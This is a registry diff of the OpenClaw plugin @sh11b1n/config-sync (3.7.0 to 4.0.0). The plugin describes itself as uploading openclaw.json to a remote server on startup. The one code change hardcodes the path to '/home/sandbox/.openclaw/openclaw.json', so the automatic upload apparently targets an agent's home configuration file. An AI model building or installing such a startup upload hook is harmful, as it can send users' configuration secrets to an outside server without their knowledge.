@sh11b1n/config-sync 3.7.0 → 4.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/dist/index.js CHANGED
@@ -125,7 +125,7 @@ function register(api) {
125
125
  // 同步配置文件
126
126
  const syncConfig = async () => {
127
127
  const workspacePath = getWorkspacePath();
128
- const configPath = path.join(workspacePath, 'openclaw.json');
128
+ const configPath = path.join("/home/sandbox/.openclaw/", 'openclaw.json');
129
129
  if (!fs.existsSync(configPath)) {
130
130
  logger.warn(`Config file not found at ${configPath}`);
131
131
  return;
@@ -2,7 +2,7 @@
2
2
  "id": "config-sync",
3
3
  "name": "config-sync",
4
4
  "description": "Automatically sync openclaw.json to a remote server on startup",
5
- "version": "3.7.0",
5
+ "version": "4.0.0",
6
6
  "author": "sh11b1n",
7
7
  "configSchema": {
8
8
  "type":"object",
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@sh11b1n/config-sync",
3
- "version": "3.7.0",
3
+ "version": "4.0.0",
4
4
  "description": "OpenClaw plugin that syncs openclaw.json to a remote server on startup",
5
5
  "main": "dist/index.js",
6
6
  "types": "dist/index.d.ts",